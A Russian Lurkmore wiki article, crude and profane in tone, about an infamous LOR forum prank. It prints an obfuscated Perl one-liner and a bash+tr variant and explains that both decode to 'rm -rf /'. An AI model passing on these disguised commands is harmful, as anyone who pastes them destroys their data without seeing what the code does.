Программа из одной строчки на Perl

Материал из Lurkmore

Фраза Программа из одной строчки на Perl происходит из одноимённой темы раздела Development расово верного форума ЛОР, в которой коварный анонимус запостил скрипт на Perl, сетуя на то, что он не работает. На самом деле, в названии оригинальной темы была ошибка — «программа из одной строчки ни Perl».

Последствия

Как водится, скрипт был немедленно скопипащен в первый попавшийся шелл тысячами доверчивых пользователей, где и успешно выполнен. Вскоре начали появляться каменты типа «сука, блять, хорошо хоть рабочая станция. мудило блять...», что сподвигло суровых Perl-гуру всё-таки разобраться, что же на самом деле делает это коварное изделие. Вскоре от модератора Die-Hard поступило резюме, о том какую же команду скрипт выполняет.

Суть скрипта

Сабж выглядит вот так:

perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Те же яйца, но в профиль:

$var = "=]=>%-{<-|}<&|`{";
$var = tr{ !"#$%&'()*+,-./:;<=>?@[\]^_`{|}}
         {`abcdefghijklmnopqrstuvwxyz{/" -};
eval($var);

То есть, сначала командой $??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{; во временную переменную записывается текст =]=>%-{<-|}<&|`{, затем он транслитерируется (y; -/:-@[-`{-};`-{/« -;) и превращается в команду system"rm -rf /", смысл которой понятен даже людям, с Perl не знакомым. Далее эта команда отдается на исполнение интерпретатору (s;;$_;see). Скрипт использует ряд идиом Perl, усложняющих чтение исходного кода, но ему очень далеко до истинных шедевров в этой области.

Аудитория

Скрипт был рассчитан на лохов, работающих под рутом, и как следствие, потенциально удаливших весь корневой раздел со всей порнухой и смонтированными файловыми системами с порнухой. Сделано всё было исключительно ради лулзов, однако это породило целый мегафлейм, затрагивающий чуть менее, чем все моральные аспекты жизнедеятельности человеков. Как заметил другой анонимус:

Аналог на bash+tr

ISF=$(echo '%\%#{<-{}<&{`' |tr ' -/:-@[-`{}' '`-{/ -');$ISF 2>/dev/null

Принцип действия абсолютно тот же самый.

Ссылки

• Оригинальная тема

[ + ] Программа из одной строчки на Perl — на ЛОРе это не нужно

Люди  alphex_kaanoken • Generatorglukoff • GuttaLinux • ivlad • JB • K48 • Komintern • l-xoid • Maxcom • Sherak • Sikon • Silvy • vsl • Алексей Бабушкин • Анонимус • Батарейкин • Вилфред • Ганс Рейзер • Грегоре • Денис Попов • Луговский • Михаил • Патрик • Саныч • Тео • Шаман Мемы  128 bit • 4.2 • Dimmu Borgir - 51k • Just For Fun • libastral.so • TRUE-DEATH-PRIMITIVE-LINUX-MITOLL • Анальное рабство • А под Слакой это работает? • Вдоль • Вендекапец • Вещества • Донской табак • Ждём ебилдов • Закопайте обратно • К логопеду, быдло • Летающие коровы • ЛОР-эффект • Машина времени • Метанация • Не нужен • Не работай под рутом • Ничего не поделаешь, это Flash • Перестаньте насиловать труп! • Плазма не падает • Программа из одной строчки на Perl • Решето • Скриншот с ЛОР • Специалисты по всему • Телепаты в отпуске • Только закончил собирать • Убей себя, как Томми • УМВР • ШВИМ • Шрифты — говно • Электролит из соплей девственницы Программирование  Arch • Fedora • Gentoo • GIMP • GNOME • Java • KDE • Perl • Slackware Linux • TeX Прочее  12309 • Common Sense • GNOME vs. KDE • Nixburg • Аппрув • Великий Исход Модераторов • Костыль • Лолкс • Лузирс • Нацпол • Нытик-треды • Тукс